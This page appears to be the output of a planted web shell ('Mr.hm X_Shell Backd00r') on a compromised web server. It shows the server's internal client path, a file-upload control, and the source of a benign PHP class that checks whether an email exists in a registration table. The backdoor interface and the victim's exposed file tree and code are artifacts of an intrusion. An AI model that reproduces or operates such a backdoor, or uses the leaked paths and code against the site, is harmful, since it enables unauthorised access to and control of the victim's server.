[#] hm X_Shell Backd00r [#]

Current Path : /var/www/clients/client35/web46/web/buen-fin/app/model/
Upload File :
Current File : /var/www/clients/client35/web46/web/buen-fin/app/model/Validarmail.class.php

<?php 
	
	require_once 'conexion.class.php';

	class ValidarMail{
		
		public $correo;

		public function __construct(){
			$this->conex = Conexion::singleton_conexion();
		}

		public function validarmail(){
			try{
				$sql = "SELECT * FROM registro WHERE correo = :correo";
				$query = $this->conex->prepare($sql);
				$query->execute(array(":correo"=>$this->correo));
				$res = $query->fetch(PDO::FETCH_ASSOC);
				if($query->rowCount() > 0):
					return true;
				else:
					return false;
				endif;

			}catch(PDOExeption $e){
				print "Error!: ".$e->getMessage();
			}
		}
	}
?>

Mr.hm X_Shell Backd00r 1.0, Coded By Mr.hm X_Shell Backd00r